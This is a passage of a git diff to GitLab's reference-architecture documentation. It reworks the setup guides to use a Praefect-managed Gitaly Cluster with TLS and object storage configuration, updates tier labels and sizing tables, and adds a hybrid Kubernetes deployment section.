Used for repositories hosted on your Gitaly cluster and can only be accessed by Gitaly clients that carry this token. +- `<praefect_internal_token>`: Used for replication traffic inside your Gitaly cluster. This is distinct from `praefect_external_token` because Gitaly clients must not be able to access internal nodes of the Praefect cluster directly; that could lead to data loss. +- `<praefect_postgresql_password>`: The Praefect PostgreSQL password defined in the previous section is also required as part of this setup. + +Gitaly Cluster nodes are configured in Praefect via a `virtual storage`. Each storage contains +the details of each Gitaly node that makes up the cluster. Each storage is also given a name +and this name is used in several areas of the config. In this guide, the name of the storage will be +`default`. Also, this guide is geared towards new installs, if upgrading an existing environment +to use Gitaly Cluster, you may need to use a different name. +Refer to the [Praefect documentation](../gitaly/praefect.md#praefect) for more info. + +The following IPs will be used as an example: + +- `10.6.0.131`: Praefect 1 +- `10.6.0.132`: Praefect 2 +- `10.6.0.133`: Praefect 3 + +To configure the Praefect nodes, on each one: + +1. SSH in to the Praefect server. +1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab + package of your choice. Be sure to follow _only_ installation steps 1 and 2 + on the page. +1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect: + + ```ruby + # Avoid running unnecessary services on the Gitaly server + postgresql['enable'] = false + redis['enable'] = false + nginx['enable'] = false + puma['enable'] = false + unicorn['enable'] = false + sidekiq['enable'] = false + gitlab_workhorse['enable'] = false + grafana['enable'] = false + + # If you run a separate monitoring node you can disable these services + alertmanager['enable'] = false + prometheus['enable'] = false + + # Praefect Configuration + praefect['enable'] = true + praefect['listen_addr'] = '0.0.0.0:2305' + + gitlab_rails['rake_cache_clear'] = false + gitlab_rails['auto_migrate'] = false + + # Configure the Consul agent + consul['enable'] = true + ## Enable service discovery for Prometheus + consul['monitoring_service_discovery'] = true + + # START user configuration + # Please set the real values as explained in Required Information section + # + + # Praefect External Token + # This is needed by clients outside the cluster (like GitLab Shell) to communicate with the Praefect cluster + praefect['auth_token'] = '<praefect_external_token>' + + # Praefect Database Settings + praefect['database_host'] = '10.6.0.141' + praefect['database_port'] = 5432 + # `no_proxy` settings must always be a direct connection for caching + praefect['database_host_no_proxy'] = '10.6.0.141' + praefect['database_port_no_proxy'] = 5432 + praefect['database_dbname'] = 'praefect_production' + praefect['database_user'] = 'praefect' + praefect['database_password'] = '<praefect_postgresql_password>' + + # Praefect Virtual Storage config + # Name of storage hash must match storage name in git_data_dirs on GitLab + # server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1') + praefect['virtual_storages'] = { + 'default' => { + 'gitaly-1' => { + 'address' => 'tcp://10.6.0.91:8075', + 'token' => '<praefect_internal_token>', + 'primary' => true + }, + 'gitaly-2' => { + 'address' => 'tcp://10.6.0.92:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-3' => { + 'address' => 'tcp://10.6.0.93:8075', + 'token' => '<praefect_internal_token>' + }, + } + } + + # Set the network addresses that the exporters will listen on for monitoring + node_exporter['listen_address'] = '0.0.0.0:9100' + praefect['prometheus_listen_addr'] = '0.0.0.0:9652' + + ## The IPs of the Consul server nodes + ## You can also use FQDNs and intermix them with IPs + consul['configuration'] = { + retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13), + } + # + # END user configuration + ``` -[Gitaly](../gitaly/index.md) server node requirements are dependent on data, -specifically the number of projects and those projects' sizes. It's recommended -that a Gitaly server node stores no more than 5 TB of data. Depending on your -repository storage requirements, you may require additional Gitaly server nodes. + 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and + then replace the file of the same name on this server. If that file isn't on + this server, add the file from your Consul server to this server. + + 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). + +### Configure Gitaly + +The [Gitaly](../gitaly/index.md) server nodes that make up the cluster have +requirements that are dependent on data, specifically the number of projects +and those projects' sizes. It's recommended that a Gitaly Cluster stores +no more than 5 TB of data on each node. Depending on your +repository storage requirements, you may require additional Gitaly Clusters. Due to Gitaly having notable input and output requirements, we strongly recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs @@ -1325,36 +1629,21 @@ adjusted to greater or lesser values depending on the scale of your environment's workload. If you're running the environment on a Cloud provider, refer to their documentation about how to configure IOPS correctly. -Be sure to note the following items: +Gitaly servers must not be exposed to the public internet, as Gitaly's network +traffic is unencrypted by default. The use of a firewall is highly recommended +to restrict access to the Gitaly server. Another option is to +[use TLS](#gitaly-cluster-tls-support). -- The GitLab Rails application shards repositories into - [repository storage paths](../repository_storage_paths.md). -- A Gitaly server can host one or more storage paths. -- A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for all Gitaly - clients. -- Gitaly servers must not be exposed to the public internet, as Gitaly's network - traffic is unencrypted by default. The use of a firewall is highly recommended - to restrict access to the Gitaly server. Another option is to - [use TLS](#gitaly-tls-support). - -NOTE: -The token referred to throughout the Gitaly documentation is an arbitrary -password selected by the administrator. This token is unrelated to tokens -created for the GitLab API or other similar web API tokens. +For configuring Gitaly you should note the following: -This section describes how to configure two Gitaly servers, with the following -IPs and domain names: +- `git_data_dirs` should be configured to reflect the storage path for the specific Gitaly node +- `auth_token` should be the same as `praefect_internal_token` -- `10.6.0.91`: Gitaly 1 (`gitaly1.internal`) -- `10.6.0.92`: Gitaly 2 (`gitaly2.internal`) - -Assumptions about your servers include having the secret token be `gitalysecret`, -and that your GitLab installation has three repository storages: +The following IPs will be used as an example: -- `default` on Gitaly 1 -- `storage1` on Gitaly 1 -- `storage2` on Gitaly 2 +- `10.6.0.91`: Gitaly 1 +- `10.6.0.92`: Gitaly 2 +- `10.6.0.93`: Gitaly 3 On each node: @@ -1364,21 +1653,9 @@ On each node: 1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure storage paths, enable the network listener, and to configure the token: - <!-- - updates to following example must also be made at - https://gitlab.com/gitlab-org/charts/gitlab/blob/master/doc/advanced/external-gitaly/external-omnibus-gitaly.md#configure-omnibus-gitlab - --> - ```ruby # /etc/gitlab/gitlab.rb - # Gitaly and GitLab use two shared secrets for authentication, one to authenticate gRPC requests - # to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API. - # The following two values must be the same as their respective values - # of the GitLab Rails application setup - gitaly['auth_token'] = 'gitalysecret' - gitlab_shell['secret_token'] = 'shellsecret' - # Avoid running unnecessary services on the Gitaly server postgresql['enable'] = false redis['enable'] = false @@ -1407,36 +1684,42 @@ On each node: # firewalls to restrict access to this address/port. # Comment out following line if you only want to support TLS connections gitaly['listen_addr'] = "0.0.0.0:8075" + + # Gitaly Auth Token + # Should be the same as praefect_internal_token + gitaly['auth_token'] = '<praefect_internal_token>' ``` 1. Append the following to `/etc/gitlab/gitlab.rb` for each respective server: - - On `gitaly1.internal`: + - On Gitaly node 1: ```ruby git_data_dirs({ - 'default' => { - 'path' => '/var/opt/gitlab/git-data' - }, - 'storage1' => { - 'path' => '/mnt/gitlab/git-data' - }, + "gitaly-1" => { + "path" => "/var/opt/gitlab/git-data" + } }) ``` - - On `gitaly2.internal`: + - On Gitaly node 2: ```ruby git_data_dirs({ - 'storage2' => { - 'path' => '/mnt/gitlab/git-data' - }, + "gitaly-2" => { + "path" => "/var/opt/gitlab/git-data" + } }) ``` - <!-- - updates to following example must also be made at - https://gitlab.com/gitlab-org/charts/gitlab/blob/master/doc/advanced/external-gitaly/external-omnibus-gitaly.md#configure-omnibus-gitlab - --> + - On Gitaly node 3: + + ```ruby + git_data_dirs({ + "gitaly-3" => { + "path" => "/var/opt/gitlab/git-data" + } + }) + ``` 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and then replace the file of the same name on this server. If that file isn't on @@ -1444,34 +1727,44 @@ On each node: 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). -### Gitaly TLS support +### Gitaly Cluster TLS support -Gitaly supports TLS encryption. To be able to communicate -with a Gitaly instance that listens for secure connections you will need to use `tls://` URL -scheme in the `gitaly_address` of the corresponding storage entry in the GitLab configuration. +Praefect supports TLS encryption. To communicate with a Praefect instance that listens +for secure connections, you must: -You will need to bring your own certificates as this isn't provided automatically. -The certificate, or its certificate authority, must be installed on all Gitaly -nodes (including the Gitaly node using the certificate) and on all client nodes -that communicate with it following the procedure described in -[GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates). +- Use a `tls://` URL scheme in the `gitaly_address` of the corresponding storage entry + in the GitLab configuration. +- Bring your own certificates because this isn't provided automatically. The certificate + corresponding to each Praefect server must be installed on that Praefect server. -NOTE: -The self-signed certificate must specify the address you use to access the -Gitaly server. If you are addressing the Gitaly server by a hostname, you can -either use the Common Name field for this, or add it as a Subject Alternative -Name. If you are addressing the Gitaly server by its IP address, you must add it -as a Subject Alternative Name to the certificate. -[gRPC does not support using an IP address as Common Name in a certificate](https://github.com/grpc/grpc/issues/2691). +Additionally the certificate, or its certificate authority, must be installed on all Gitaly servers +and on all Praefect clients that communicate with it following the procedure described in +[GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates) (and repeated below). + +Note the following: + +- The certificate must specify the address you use to access the Praefect server. If + addressing the Praefect server by: + + - Hostname, you can either use the Common Name field for this, or add it as a Subject + Alternative Name. + - IP address, you must add it as a Subject Alternative Name to the certificate. -It's possible to configure Gitaly servers with both an unencrypted listening -address (`listen_addr`) and an encrypted listening address (`tls_listen_addr`) -at the same time. This allows you to do a gradual transition from unencrypted to -encrypted traffic, if necessary. +- You can configure Praefect servers with both an unencrypted listening address + `listen_addr` and an encrypted listening address `tls_listen_addr` at the same time. + This allows you to do a gradual transition from unencrypted to encrypted traffic, if + necessary. -To configure Gitaly with TLS: +- The Internal Load Balancer will also access to the certificates and need to be configured + to allow for TLS passthrough. + Refer to the load balancers documentation on how to configure this. -1. Create the `/etc/gitlab/ssl` directory and copy your key and certificate there: +To configure Praefect with TLS: + +1. Create certificates for Praefect servers. + +1. On the Praefect servers, create the `/etc/gitlab/ssl` directory and copy your key + and certificate there: ```shell sudo mkdir -p /etc/gitlab/ssl @@ -1480,27 +1773,34 @@ To configure Gitaly with TLS: sudo chmod 644 key.pem cert.pem ``` -1. Copy the cert to `/etc/gitlab/trusted-certs` so Gitaly will trust the cert when - calling into itself: +1. Edit `/etc/gitlab/gitlab.rb` and add: - ```shell - sudo cp /etc/gitlab/ssl/cert.pem /etc/gitlab/trusted-certs/ + ```ruby + praefect['tls_listen_addr'] = "0.0.0.0:3305" + praefect['certificate_path'] = "/etc/gitlab/ssl/cert.pem" + praefect['key_path'] = "/etc/gitlab/ssl/key.pem" ``` -1. Edit `/etc/gitlab/gitlab.rb` and add: +1. Save the file and [reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure). - <!-- - updates to following example must also be made at - https://gitlab.com/gitlab-org/charts/gitlab/blob/master/doc/advanced/external-gitaly/external-omnibus-gitaly.md#configure-omnibus-gitlab - --> +1. On the Praefect clients (including each Gitaly server), copy the certificates, + or their certificate authority, into `/etc/gitlab/trusted-certs`: - ```ruby - gitaly['tls_listen_addr'] = "0.0.0.0:9999" - gitaly['certificate_path'] = "/etc/gitlab/ssl/cert.pem" - gitaly['key_path'] = "/etc/gitlab/ssl/key.pem" + ```shell + sudo cp cert.pem /etc/gitlab/trusted-certs/ ``` -1. Delete `gitaly['listen_addr']` to allow only encrypted connections. +1. On the Praefect clients (except Gitaly servers), edit `git_data_dirs` in + `/etc/gitlab/gitlab.rb` as follows: + + ```ruby + git_data_dirs({ + "default" => { + "gitaly_address" => 'tls://LOAD_BALANCER_SERVER_ADDRESS:2305', + "gitaly_token" => 'PRAEFECT_EXTERNAL_TOKEN' + } + }) + ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -1512,8 +1812,9 @@ To configure Gitaly with TLS: ## Configure Sidekiq -Sidekiq requires connections to the Redis, PostgreSQL and Gitaly instances. -The following IPs will be used as an example: +Sidekiq requires connection to the [Redis](#configure-redis), +[PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. +[Object storage](#configure-the-object-storage) is also required to be configured. - `10.6.0.101`: Sidekiq 1 - `10.6.0.102`: Sidekiq 2 @@ -1586,17 +1887,20 @@ To configure the Sidekiq nodes, on each one: ### Gitaly ### ####################################### + # git_data_dirs get configured for the Praefect virtual storage + # Address is Internal Load Balancer for Praefect + # Token is praefect_external_token git_data_dirs({ - 'default' => { 'gitaly_address' => 'tcp://gitaly1.internal:8075' }, - 'storage1' => { 'gitaly_address' => 'tcp://gitaly1.internal:8075' }, - 'storage2' => { 'gitaly_address' => 'tcp://gitaly2.internal:8075' }, + "default" => { + "gitaly_address" => "tcp://10.6.0.40:2305", # internal load balancer IP + "gitaly_token" => '<praefect_external_token>' + } }) - gitlab_rails['gitaly_token'] = 'YOUR_TOKEN' ####################################### ### Postgres ### ####################################### - gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP + gitlab_rails['db_host'] = '10.6.0.40' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' @@ -1624,6 +1928,25 @@ To configure the Sidekiq nodes, on each one: # Rails Status for prometheus gitlab_rails['monitoring_whitelist'] = ['10.6.0.121/32', '127.0.0.0/8'] + + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" ``` 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace @@ -1644,6 +1967,7 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces ## Configure GitLab Rails This section describes how to configure the GitLab application (Rails) component. +[Object storage](#configure-the-object-storage) is also required to be configured. The following IPs will be used as an example: @@ -1669,17 +1993,14 @@ On each node perform the following: ```ruby external_url 'https://gitlab.example.com' - # Gitaly and GitLab use two shared secrets for authentication, one to authenticate gRPC requests - # to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API. - # The following two values must be the same as their respective values - # of the Gitaly setup - gitlab_rails['gitaly_token'] = 'gitalysecret' - gitlab_shell['secret_token'] = 'shellsecret' - + # git_data_dirs get configured for the Praefect virtual storage + # Address is Interal Load Balancer for Praefect + # Token is praefect_external_token git_data_dirs({ - 'default' => { 'gitaly_address' => 'tcp://gitaly1.internal:8075' }, - 'storage1' => { 'gitaly_address' => 'tcp://gitaly1.internal:8075' }, - 'storage2' => { 'gitaly_address' => 'tcp://gitaly2.internal:8075' }, + "default" => { + "gitaly_address" => "tcp://10.6.0.40:2305", # internal load balancer IP + "gitaly_token" => '<praefect_external_token>' + } }) ## Disable components that will not be on the GitLab application server @@ -1736,17 +2057,37 @@ On each node perform the following: # scrape the NGINX metrics gitlab_rails['monitoring_whitelist'] = ['10.6.0.121/32', '127.0.0.0/8'] nginx['status']['options']['allow'] = ['10.6.0.121/32', '127.0.0.0/8'] + + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). -1. If you're using [Gitaly with TLS support](#gitaly-tls-support), make sure the +1. If you're using [Gitaly with TLS support](#gitaly-cluster-tls-support), make sure the `git_data_dirs` entry is configured with `tls` instead of `tcp`: ```ruby git_data_dirs({ - 'default' => { 'gitaly_address' => 'tls://gitaly1.internal:9999' }, - 'storage1' => { 'gitaly_address' => 'tls://gitaly1.internal:9999' }, - 'storage2' => { 'gitaly_address' => 'tls://gitaly2.internal:9999' }, + "default" => { + "gitaly_address" => "tls://10.6.0.40:2305", # internal load balancer IP + "gitaly_token" => '<praefect_external_token>' + } }) ``` @@ -1928,7 +2269,7 @@ GitLab has been tested on a number of object storage providers: - [Google Cloud Storage](https://cloud.google.com/storage) - [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces/) - [Oracle Cloud Infrastructure](https://docs.cloud.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [Openstack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) +- [OpenStack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) - [Azure Blob storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) - On-premises hardware and appliances from various storage vendors. - MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. @@ -1957,7 +2298,7 @@ on what features you intend to use: | [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No | | [Packages](../packages/index.md#using-object-storage) (optional feature) | Yes | | [Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature) | Yes | -| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No | +| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | No | | [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | | [Terraform state files](../terraform_state.md#using-object-storage) | Yes | @@ -1983,7 +2324,7 @@ work. </a> </div> -## Configure Advanced Search **(STARTER ONLY)** +## Configure Advanced Search **(PREMIUM SELF)** You can leverage Elasticsearch and [enable Advanced Search](../../integration/elasticsearch.md) for faster, more advanced code search across your entire GitLab instance. @@ -2028,3 +2369,56 @@ See the [troubleshooting documentation](troubleshooting.md). Back to setup components <i class="fa fa-angle-double-up" aria-hidden="true"></i> </a> </div> + +## Cloud Native Deployment (optional) + +Hybrid installations leverage the benefits of both cloud native and traditional +deployments. We recommend shifting the Sidekiq and Webservice components into +Kubernetes to reap cloud native workload management benefits while the others +are deployed using the traditional server method already described. + +The following sections detail this hybrid approach. + +### Cluster topology + +The following table provides a starting point for hybrid +deployment infrastructure. The recommendations use Google Cloud's Kubernetes Engine (GKE) +and associated machine types, but the memory and CPU requirements should +translate to most other providers. + +Machine count | Machine type | Allocatable vCPUs | Allocatable memory (GB) | Purpose +-|-|-|-|- +2 | `n1-standard-4` | 7.75 | 25 | Non-GitLab resources, including Grafana, NGINX, and Prometheus +4 | `n1-standard-4` | 15.5 | 50 | GitLab Sidekiq pods +4 | `n1-highcpu-32` | 127.5 | 118 | GitLab Webservice pods + +"Allocatable" in this table refers to the amount of resources available to workloads deployed in Kubernetes _after_ accounting for the overhead of running Kubernetes itself. + +### Resource usage settings + +The following formulas help when calculating how many pods may be deployed within resource constraints. +The [10k reference architecture example values file](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/examples/ref/10k.yaml) +documents how to apply the calculated configuration to the Helm Chart. + +#### Sidekiq + +Sidekiq pods should generally have 1 vCPU and 2 GB of memory. + +[The provided starting point](#cluster-topology) allows the deployment of up to +16 Sidekiq pods. Expand available resources using the 1vCPU to 2GB memory +ratio for each additional pod. + +For further information on resource usage, see the [Sidekiq resources](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/#resources). + +#### Webservice + +Webservice pods typically need about 1 vCPU and 1.25 GB of memory _per worker_. +Each Webservice pod will consume roughly 2 vCPUs and 2.5 GB of memory using +the [recommended topology](#cluster-topology) because two worker processes +are created by default. + +The [provided recommendations](#cluster-topology) allow the deployment of up to 28 +Webservice pods. Expand available resources using the ratio of 1 vCPU to 1.25 GB of memory +_per each worker process_ for each additional Webservice pod. + +For further information on resource usage, see the [Webservice resources](https://docs.gitlab.com/charts/charts/gitlab/webservice/#resources). diff --git a/doc/administration/reference_architectures/1k_users.md b/doc/administration/reference_architectures/1k_users.md index 161964353f5..bed584e94bd 100644 --- a/doc/administration/reference_architectures/1k_users.md +++ b/doc/administration/reference_architectures/1k_users.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Reference architecture: up to 1,000 users **(CORE ONLY)** +# Reference architecture: up to 1,000 users **(FREE SELF)** This page describes GitLab reference architecture for up to 1,000 users. For a full list of reference architectures, see @@ -18,11 +18,12 @@ many organizations . > - **Supported users (approximate):** 1,000 > - **High Availability:** No. For a highly-available environment, you can > follow the [3K reference architecture](3k_users.md). +> - **Test requests per second (RPS) rates:** API: 20 RPS, Web: 2 RPS, Git (Pull): 2 RPS, Git (Push): 1 RPS | Users | Configuration | GCP | AWS | Azure | |--------------|-------------------------|----------------|-----------------|----------------| -| Up to 500 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | -| Up to 1,000 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 | +| Up to 500 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | +| Up to 1,000 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | `c5.2xlarge` | F8s v2 | The Google Cloud Platform (GCP) architectures were built and tested using the [Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) @@ -41,13 +42,13 @@ the swap available when needed. ## Setup instructions To install GitLab for this default reference architecture, use the standard -[installation instructions](../../install/README.md). +[installation instructions](../../install/index.md). You can also optionally configure GitLab to use an [external PostgreSQL service](../postgresql/external.md) or an [external object storage service](../object_storage.md) for added -performance and reliability at a reduced complexity cost. +performance and reliability at an increased complexity cost. -## Configure Advanced Search **(STARTER ONLY)** +## Configure Advanced Search **(PREMIUM SELF)** You can leverage Elasticsearch and [enable Advanced Search](../../integration/elasticsearch.md) for faster, more advanced code search across your entire GitLab instance. diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md index d96e93d4ab4..48c72bb930d 100644 --- a/doc/administration/reference_architectures/25k_users.md +++ b/doc/administration/reference_architectures/25k_users.md @@ -5,7 +5,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Reference architecture: up to 25,000 users **(PREMIUM ONLY)** +# Reference architecture: up to 25,000 users **(PREMIUM SELF)** This page describes GitLab reference architecture for up to 25,000 users. For a full list of reference architectures, see @@ -13,25 +13,25 @@ full list of reference architectures, see > - **Supported users (approximate):** 25,000 > - **High Availability:** Yes -> - **Test requests per second (RPS) rates:** API: 500 RPS, Web: 50 RPS, Git: 50 RPS +> - **Test requests per second (RPS) rates:** API: 500 RPS, Web: 50 RPS, Git (Pull): 50 RPS, Git (Push): 10 RPS | Service | Nodes | Configuration | GCP | AWS | Azure | |-----------------------------------------|-------------|-------------------------|-----------------|-------------|----------| -| External load balancing node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | -| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| PostgreSQL | 3 | 8 vCPU, 30 GB memory | n1-standard-8 | m5.2xlarge | D8s v3 | -| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 | -| Internal load balancing node | 1 | 4 vCPU, 3.6GB memory | n1-highcpu-4 | c5.large | F2s v2 | -| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS | -| Gitaly | 2 (minimum) | 32 vCPU, 120 GB memory | n1-standard-32 | m5.8xlarge | D32s v3 | -| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 | -| GitLab Rails | 5 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 | -| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| External load balancing node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | +| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| PostgreSQL | 3 | 8 vCPU, 30 GB memory | n1-standard-8 | `m5.2xlarge` | D8s v3 | +| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | `c5.large` | F2s v2 | +| Internal load balancing node | 1 | 4 vCPU, 3.6GB memory | n1-highcpu-4 | `c5.large` | F2s v2 | +| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS | +| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | `t3.small` | B1MS | +| Gitaly | 2 (minimum) | 32 vCPU, 120 GB memory | n1-standard-32 | `m5.8xlarge` | D32s v3 | +| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | `m5.xlarge` | D4s v3 | +| GitLab Rails | 5 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | `c5.9xlarge` | F32s v2 | +| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | | Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | ```mermaid stateDiagram-v2 @@ -1512,8 +1512,9 @@ To configure Gitaly with TLS: ## Configure Sidekiq -Sidekiq requires connections to the Redis, PostgreSQL and Gitaly instances. -The following IPs will be used as an example: +Sidekiq requires connection to the [Redis](#configure-redis), +[PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. +[Object storage](#configure-the-object-storage) is also required to be configured. - `10.6.0.101`: Sidekiq 1 - `10.6.0.102`: Sidekiq 2 @@ -1624,6 +1625,25 @@ To configure the Sidekiq nodes, on each one: # Rails Status for prometheus gitlab_rails['monitoring_whitelist'] = ['10.6.0.121/32', '127.0.0.0/8'] + + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" ``` 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace @@ -1644,6 +1664,7 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces ## Configure GitLab Rails This section describes how to configure the GitLab application (Rails) component. +[Object storage](#configure-the-object-storage) is also required to be configured. The following IPs will be used as an example: @@ -1736,6 +1757,25 @@ On each node perform the following: # scrape the NGINX metrics gitlab_rails['monitoring_whitelist'] = ['10.6.0.121/32', '127.0.0.0/8'] nginx['status']['options']['allow'] = ['10.6.0.121/32', '127.0.0.0/8'] + + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = 